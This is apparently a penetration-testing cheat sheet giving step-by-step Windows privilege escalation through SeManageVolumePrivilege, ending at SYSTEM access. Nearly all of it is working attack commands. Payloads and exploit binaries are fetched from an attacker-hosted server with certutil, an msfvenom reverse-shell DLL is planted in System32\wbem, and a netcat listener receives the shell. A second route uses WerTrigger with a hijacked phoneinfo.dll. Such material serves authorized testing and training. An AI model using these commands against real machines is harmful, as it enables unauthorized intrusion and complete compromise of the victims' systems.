Step 1: Check current user privileges¶
-
Verify if the current user has
SeManageVolumePrivilege
:
whoami /priv
Note: If it is not enabled, proceed to Step 2.
Step 2: Enable SeManageVolumePrivilege (optional)¶
-
Download the
EnableAllTokenPrivs.ps1
script:
wget https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1
Note: Host the script with Python:
python -m http.server 80
-
Transfer the script to the target machine:
certutil -urlcache -f http://[IP-ADDRESS]:80/EnableAllTokenPrivs.ps1 EnableAllTokenPrivs.ps1
-
Import the module to enable the privilege:
Import-Module .\EnableAllTokenPrivs.ps1
-
Verify privileges again to confirm that
SeManageVolumePrivilege
is enabled:
whoami /priv
DLL hijacking with Metasploit¶
-
Download and transfer
SeManageVolumeExploit.exe
to the target:
wget https://github.com/CsEnox/SeManageVolumeExploit/releases/download/public/SeManageVolumeExploit.exe
Note: Host the file with Python:
python -m http.server 80
-
Transfer it using
certutil
:
certutil -urlcache -f http://[IP-ADDRESS]:80/SeManageVolumeExploit.exe SeManageVolumeExploit.exe
-
Execute the exploit to gain write privileges to
C:\Windows\System32\
: -
Create a malicious DLL payload with
msfvenom
:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[IP-ADDRESS] LPORT=1337 -f dll -o tzres.dll
Note: Host with Python and transfer with
certutil
:
certutil -urlcache -f http://[IP-ADDRESS]:80/tzres.dll tzres.dll
-
Place the malicious DLL in the WBEM directory:
copy tzres.dll C:\Windows\System32\wbem\
-
Set up a Netcat listener on the attacking machine:
rlwrap -cAr nc -lnvp 1337
Note: Running
systeminfo
will trigger the payload.
Exploit with WerTrigger¶
-
Download and transfer
SeManageVolumeExploit.exe
to the target:
wget https://github.com/CsEnox/SeManageVolumeExploit/releases/download/public/SeManageVolumeExploit.exe
Note: Host the file with Python:
python -m http.server 80
-
Execute the exploit to gain write privileges to
C:\Windows\System32\
: -
Download required files:
wget https://github.com/sailay1996/WerTrigger/raw/master/bin/WerTrigger.exe wget https://github.com/sailay1996/WerTrigger/raw/master/bin/phoneinfo.dll wget https://raw.githubusercontent.com/sailay1996/WerTrigger/master/bin/Report.wer cp /usr/share/windows-resources/binaries/nc.exe .
Note: Host them with Python:
python -m http.server 80
-
Transfer files to the target using
certutil
:
certutil -urlcache -f http://[IP-ADDRESS]:80/WerTrigger.exe WerTrigger.exe certutil -urlcache -f http://[IP-ADDRESS]:80/phoneinfo.dll phoneinfo.dll certutil -urlcache -f http://[IP-ADDRESS]:80/nc.exe nc.exe certutil -urlcache -f http://[IP-ADDRESS]:80/Report.wer Report.wer
-
Copy
phoneinfo.dll
toC:\Windows\System32\
, placeReport.wer
andWerTrigger.exe
in the same directory, then runWerTrigger.exe
:Note:
WerTrigger.exe
produces no output; it waits for instructions. -
At this point, you should have SYSTEM-level access on the target machine.